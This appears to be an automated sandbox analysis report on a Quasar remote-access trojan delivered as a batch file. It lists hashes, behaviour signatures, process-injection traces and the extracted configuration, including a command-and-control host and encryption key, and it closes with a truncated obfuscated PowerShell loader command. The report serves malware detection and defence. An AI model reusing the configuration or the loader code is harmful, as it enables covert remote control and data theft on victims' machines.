quasar | 3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

Analysis

max time kernel
300s
max time network
298s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
28-05-2024 13:42

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General

Target

New1.bat
Size

1002KB
MD5

f6d5bfaee8a55ff72c7b453fda066d62
SHA1

7d737d53013990e5d05076b7206e43eb4793fc7f
SHA256

3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
SHA512

e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
SSDEEP

12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB

Score

10^/10

quasar video execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

quasar

Version

3.1.5

Botnet

Video

runderscore00-25501.portmap.host:25501

Mutex

$Sxr-oWTh3ZS9htfe80iIl5

Attributes

encryption_key
zK8u0rpHf4TJzGf65Flt
install_name
Win11.exe
log_directory
$sxr-Logs
reconnect_delay
3000
startup_key
Windows 11 Boot
subdirectory
Win11

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 4 IoCs

Processes:

resource	yara_rule
behavioral1/memory/752-34-0x000000000A970000-0x000000000AA62000-memory.dmp	family_quasar
behavioral1/memory/4304-205-0x000000000A830000-0x000000000A89C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Local\Temp\New.exe	family_quasar
behavioral1/memory/2644-223-0x0000000000750000-0x00000000007BC000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 212 created 584 212 powershell.EXE winlogon.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

3 4304 powershell.exe
6 4304 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

752 powershell.exe
4460 powershell.exe
4304 powershell.exe

description	pid	process	target process
PID 212 created 584	212	powershell.EXE	winlogon.exe

flow	pid	process
3	4304	powershell.exe
6	4304	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 2 IoCs

Processes:

New.exeInstall.exe

pid process

2644 New.exe
2648 Install.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com

pid	process
2644	New.exe
2648	Install.exe

flow	ioc
1	ip-api.com

Drops file in System32 directory 16 IoCs

Processes:

svchost.exesvchost.exepowershell.EXEOfficeClickToRun.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 212 set thread context of 2496 212 powershell.EXE dllhost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exe

pid process

3228 SCHTASKS.exe

description	pid	process	target process
PID 212 set thread context of 2496	212	powershell.EXE	dllhost.exe

pid	process
3228	SCHTASKS.exe

Modifies data under HKEY_USERS 58 IoCs

Processes:

powershell.EXEsvchost.exeOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 28 May 2024 13:43:52 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1716903831"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={5C975315-6E6E-4678-90C6-041CE3BF21B9}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exewmiprvse.exe

pid	process
752	powershell.exe
752	powershell.exe
752	powershell.exe
4460	powershell.exe
4460	powershell.exe
4460	powershell.exe
4304	powershell.exe
4304	powershell.exe
4304	powershell.exe
212	powershell.EXE
212	powershell.EXE
212	powershell.EXE
212	powershell.EXE
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
4304	powershell.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
4008	wmiprvse.exe
4304	powershell.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
4304	powershell.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
4304	powershell.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
2496	dllhost.exe
4304	powershell.exe
2496	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	752	powershell.exe
Token: SeDebugPrivilege	4460	powershell.exe
Token: SeIncreaseQuotaPrivilege	4460	powershell.exe
Token: SeSecurityPrivilege	4460	powershell.exe
Token: SeTakeOwnershipPrivilege	4460	powershell.exe
Token: SeLoadDriverPrivilege	4460	powershell.exe
Token: SeSystemProfilePrivilege	4460	powershell.exe
Token: SeSystemtimePrivilege	4460	powershell.exe
Token: SeProfSingleProcessPrivilege	4460	powershell.exe
Token: SeIncBasePriorityPrivilege	4460	powershell.exe
Token: SeCreatePagefilePrivilege	4460	powershell.exe
Token: SeBackupPrivilege	4460	powershell.exe
Token: SeRestorePrivilege	4460	powershell.exe
Token: SeShutdownPrivilege	4460	powershell.exe
Token: SeDebugPrivilege	4460	powershell.exe
Token: SeSystemEnvironmentPrivilege	4460	powershell.exe
Token: SeRemoteShutdownPrivilege	4460	powershell.exe
Token: SeUndockPrivilege	4460	powershell.exe
Token: SeManageVolumePrivilege	4460	powershell.exe
Token: 33	4460	powershell.exe
Token: 34	4460	powershell.exe
Token: 35	4460	powershell.exe
Token: 36	4460	powershell.exe
Token: SeIncreaseQuotaPrivilege	4460	powershell.exe
Token: SeSecurityPrivilege	4460	powershell.exe
Token: SeTakeOwnershipPrivilege	4460	powershell.exe
Token: SeLoadDriverPrivilege	4460	powershell.exe
Token: SeSystemProfilePrivilege	4460	powershell.exe
Token: SeSystemtimePrivilege	4460	powershell.exe
Token: SeProfSingleProcessPrivilege	4460	powershell.exe
Token: SeIncBasePriorityPrivilege	4460	powershell.exe
Token: SeCreatePagefilePrivilege	4460	powershell.exe
Token: SeBackupPrivilege	4460	powershell.exe
Token: SeRestorePrivilege	4460	powershell.exe
Token: SeShutdownPrivilege	4460	powershell.exe
Token: SeDebugPrivilege	4460	powershell.exe
Token: SeSystemEnvironmentPrivilege	4460	powershell.exe
Token: SeRemoteShutdownPrivilege	4460	powershell.exe
Token: SeUndockPrivilege	4460	powershell.exe
Token: SeManageVolumePrivilege	4460	powershell.exe
Token: 33	4460	powershell.exe
Token: 34	4460	powershell.exe
Token: 35	4460	powershell.exe
Token: 36	4460	powershell.exe
Token: SeIncreaseQuotaPrivilege	4460	powershell.exe
Token: SeSecurityPrivilege	4460	powershell.exe
Token: SeTakeOwnershipPrivilege	4460	powershell.exe
Token: SeLoadDriverPrivilege	4460	powershell.exe
Token: SeSystemProfilePrivilege	4460	powershell.exe
Token: SeSystemtimePrivilege	4460	powershell.exe
Token: SeProfSingleProcessPrivilege	4460	powershell.exe
Token: SeIncBasePriorityPrivilege	4460	powershell.exe
Token: SeCreatePagefilePrivilege	4460	powershell.exe
Token: SeBackupPrivilege	4460	powershell.exe
Token: SeRestorePrivilege	4460	powershell.exe
Token: SeShutdownPrivilege	4460	powershell.exe
Token: SeDebugPrivilege	4460	powershell.exe
Token: SeSystemEnvironmentPrivilege	4460	powershell.exe
Token: SeRemoteShutdownPrivilege	4460	powershell.exe
Token: SeUndockPrivilege	4460	powershell.exe
Token: SeManageVolumePrivilege	4460	powershell.exe
Token: 33	4460	powershell.exe
Token: 34	4460	powershell.exe
Token: 35	4460	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

4304 powershell.exe

pid	process
4304	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.exeNew.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 1104 wrote to memory of 752	1104	cmd.exe	powershell.exe
PID 1104 wrote to memory of 752	1104	cmd.exe	powershell.exe
PID 1104 wrote to memory of 752	1104	cmd.exe	powershell.exe
PID 752 wrote to memory of 4460	752	powershell.exe	powershell.exe
PID 752 wrote to memory of 4460	752	powershell.exe	powershell.exe
PID 752 wrote to memory of 4460	752	powershell.exe	powershell.exe
PID 752 wrote to memory of 4740	752	powershell.exe	WScript.exe
PID 752 wrote to memory of 4740	752	powershell.exe	WScript.exe
PID 752 wrote to memory of 4740	752	powershell.exe	WScript.exe
PID 4740 wrote to memory of 4688	4740	WScript.exe	cmd.exe
PID 4740 wrote to memory of 4688	4740	WScript.exe	cmd.exe
PID 4740 wrote to memory of 4688	4740	WScript.exe	cmd.exe
PID 4688 wrote to memory of 4304	4688	cmd.exe	powershell.exe
PID 4688 wrote to memory of 4304	4688	cmd.exe	powershell.exe
PID 4688 wrote to memory of 4304	4688	cmd.exe	powershell.exe
PID 4304 wrote to memory of 2644	4304	powershell.exe	New.exe
PID 4304 wrote to memory of 2644	4304	powershell.exe	New.exe
PID 4304 wrote to memory of 2644	4304	powershell.exe	New.exe
PID 4304 wrote to memory of 2648	4304	powershell.exe	Install.exe
PID 4304 wrote to memory of 2648	4304	powershell.exe	Install.exe
PID 4304 wrote to memory of 2648	4304	powershell.exe	Install.exe
PID 2644 wrote to memory of 3228	2644	New.exe	SCHTASKS.exe
PID 2644 wrote to memory of 3228	2644	New.exe	SCHTASKS.exe
PID 2644 wrote to memory of 3228	2644	New.exe	SCHTASKS.exe
PID 212 wrote to memory of 2496	212	powershell.EXE	dllhost.exe
PID 212 wrote to memory of 2496	212	powershell.EXE	dllhost.exe
PID 212 wrote to memory of 2496	212	powershell.EXE	dllhost.exe
PID 212 wrote to memory of 2496	212	powershell.EXE	dllhost.exe
PID 212 wrote to memory of 2496	212	powershell.EXE	dllhost.exe
PID 212 wrote to memory of 2496	212	powershell.EXE	dllhost.exe
PID 212 wrote to memory of 2496	212	powershell.EXE	dllhost.exe
PID 212 wrote to memory of 2496	212	powershell.EXE	dllhost.exe
PID 2496 wrote to memory of 584	2496	dllhost.exe	winlogon.exe
PID 2496 wrote to memory of 636	2496	dllhost.exe	lsass.exe
PID 2496 wrote to memory of 744	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 900	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 992	2496	dllhost.exe	dwm.exe
PID 2496 wrote to memory of 484	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 600	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1028	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1044	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1080	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1128	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1192	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1280	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1300	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1308	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1412	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1472	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1520	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1536	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1548	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1640	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1692	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1808	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1816	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 1828	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 2004	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 2040	2496	dllhost.exe	spoolsv.exe
PID 2496 wrote to memory of 1596	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 2264	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 2272	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 2320	2496	dllhost.exe	svchost.exe
PID 2496 wrote to memory of 2364	2496	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:584

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:992

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{6c83b817-91fc-4304-bb0c-00cbd03f8f78}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2496

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:636

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:744

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:900

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:484

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:600

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
- Drops file in System32 directory
PID:1028

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1044

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:3012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:llKRvSZMllYW{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$MyHGrZCzLVvveu,[Parameter(Position=1)][Type]$hUFPmYcTkO)$fpDSKjXfiQH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+'c'+[Char](116)+''+[Char](101)+'d'+[Char](68)+'e'+'l'+''+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+''+'r'+''+[Char](121)+'M'+[Char](111)+'d'+'u'+''+[Char](108)+''+'e'+'',$False).DefineType('My'+'D'+''+[Char](101)+''+[Char](108)+'e'+'g'+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+','+'S'+[Char](101)+'a'+[Char](108)+''+[Char](101)+''+[Char](100)+','+[Char](65)+''+[Char](110)+''+'s'+'i'+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+'s'+''+[Char](44)+'A'+'u'+''+[Char](116)+''+[Char](111)+'Cl'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$fpDSKjXfiQH.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+'ec'+[Char](105)+''+[Char](97)+''+'l'+'Na'+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+'e'+''+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+',P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c',[Reflection.CallingConventions]::Standard,$MyHGrZCzLVvveu).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+'ime,Mana'+[Char](103)+'ed');$fpDSKjXfiQH.DefineMethod('I'+[Char](110)+''+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+'H'+[Char](105)+''+[Char](100)+'e'+'B'+''+'y'+'Si'+'g'+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+'Sl'+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+'ir'+[Char](116)+''+'u'+'a'+[Char](108)+'',$hUFPmYcTkO,$MyHGrZCzLVvveu).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $fpDSKjXfiQH.CreateType();}$dncjQUcGxJIWl=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 